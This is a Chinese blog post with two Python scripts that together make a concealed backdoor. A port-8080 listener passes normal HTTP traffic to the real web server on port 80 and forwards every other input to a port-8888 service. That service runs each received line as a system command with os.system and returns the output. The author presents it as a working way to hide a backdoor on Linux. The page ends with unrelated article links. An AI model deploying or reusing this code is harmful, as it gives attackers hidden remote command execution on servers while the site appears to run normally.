python基于socket进行端口转发实现后门隐藏的示例


Posted in Python onJuly 25, 2019

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
  print("waiting for connection...")
  tcpCliSock,addr = tcpSerSock.accept()
  print("...connected from:",addr)
  
  while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
      break
    info = data.split('\n')
    command = info[0]
    try:
      os.system(command + " > command.txt");
      file = open('command.txt')
      data =""
      for line in file:
        data=data+line;
      tcpCliSock.send(data)
    except Exception:
      tcpCliSock.send("Nothing to do")

  tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
  data = tcpCliSock.recv(BUFFER_SIZE)
  if 'HTTP' in data:
    tcp3 = socket(AF_INET,SOCK_STREAM)
    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp3.connect(('127.0.0.1',80))
    tcp3.send(data)
    htmlinfo = tcp3.recv(2048)
    if not htmlinfo:
      tcp3.close()
    else:
      tcpCliSock.send(htmlinfo)
  else:
    tcp2 = socket(AF_INET,SOCK_STREAM)
    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp2.connect(('127.0.0.1',8888))
    data = data.replace("\n"," ")
    print data
    tcp2.send(data)
    commandinfo = tcp2.recv(1024)
    tcpCliSock.send(commandinfo)
    tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python中的高级数据结构详解
Mar 27 Python
在Python中使用base64模块处理字符编码的教程
Apr 28 Python
python对数组进行反转的方法
May 20 Python
在Django的模型中执行原始SQL查询的方法
Jul 21 Python
python2.7 mayavi 安装图文教程(推荐)
Jun 22 Python
Python实现按照指定要求逆序输出一个数字的方法
Apr 19 Python
如何安装多版本python python2和python3共存以及pip共存
Sep 18 Python
python实现自动获取IP并发送到邮箱
Dec 26 Python
Python内建序列通用操作6种实现方法
Mar 26 Python
浅析python 定时拆分备份 nginx 日志的方法
Apr 27 Python
使用pandas或numpy处理数据中的空值(np.isnan()/pd.isnull())
May 14 Python
Pytorch distributed 多卡并行载入模型操作
Jun 05 Python
Django实现跨域请求过程详解
Jul 25 #Python
Django Rest framework认证组件详细用法
Jul 25 #Python
Django Rest framework权限的详细用法
Jul 25 #Python
Django Rest framework解析器和渲染器详解
Jul 25 #Python
Django Form 实时从数据库中获取数据的操作方法
Jul 25 #Python
Django MEDIA的配置及用法详解
Jul 25 #Python
Django打印出在数据库中执行的语句问题
Jul 25 #Python
You might like
PHP使用mysqldump命令导出数据库
2015/04/14 PHP
PHP的中使用非缓冲模式查询数据库的方法
2017/02/05 PHP
PHP CURL使用详解
2019/03/21 PHP
PHP开发的文字水印,缩略图,图片水印实现类与用法示例
2019/04/12 PHP
广告代码静态化js通用函数
2007/05/09 Javascript
js AspxButton的客户端操作
2009/06/26 Javascript
浅析JS刷新框架中的其他页面 && JS刷新窗口方法汇总
2013/07/08 Javascript
浅析JavaScript中的typeof运算符
2013/11/30 Javascript
jQuery 中国省市两级联动选择附图
2014/05/14 Javascript
JQuery实现动态表格点击按钮表格增加一行
2014/08/24 Javascript
输入框过滤非数字的js代码
2014/09/18 Javascript
js实现新浪微博首页效果
2015/10/16 Javascript
浅谈Javascript数组(推荐)
2016/05/17 Javascript
Vue.js路由组件vue-router使用方法详解
2016/12/02 Javascript
form表单序列化详解(推荐)
2017/08/15 Javascript
jquery实现企业定位式导航效果
2018/01/01 jQuery
详解vue的双向绑定原理及实现
2019/05/05 Javascript
Vue路由前后端设计总结
2019/08/06 Javascript
layui 实现自动选择radio单选框(checked)的方法
2019/09/03 Javascript
vue项目中在可编辑div光标位置插入内容的实现代码
2020/01/07 Javascript
全面解析Vue中的$nextTick
2020/12/24 Vue.js
Python和perl实现批量对目录下电子书文件重命名的代码分享
2014/11/21 Python
基于Python中numpy数组的合并实例讲解
2018/04/04 Python
python使用Matplotlib绘制分段函数
2018/09/25 Python
浅谈Python类中的self到底是干啥的
2019/11/11 Python
PyTorch笔记之scatter()函数的使用
2020/02/12 Python
python实现微信打飞机游戏
2020/03/24 Python
关于python scrapy中添加cookie踩坑记录
2020/11/17 Python
Python爬虫获取op.gg英雄联盟英雄对位胜率的源码
2021/01/29 Python
css3如何绘制一个圆圆的loading转圈动画
2018/01/09 HTML / CSS
一套Delphi的笔试题一
2016/02/14 面试题
工作岗位职责范本
2015/02/15 职场文书
永不妥协观后感
2015/06/10 职场文书
小学校长开学致辞
2015/07/29 职场文书
创作书写之导游词实用技巧分享(干货)
2019/12/20 职场文书
MySQL 原理优化之Group By的优化技巧
2022/08/14 MySQL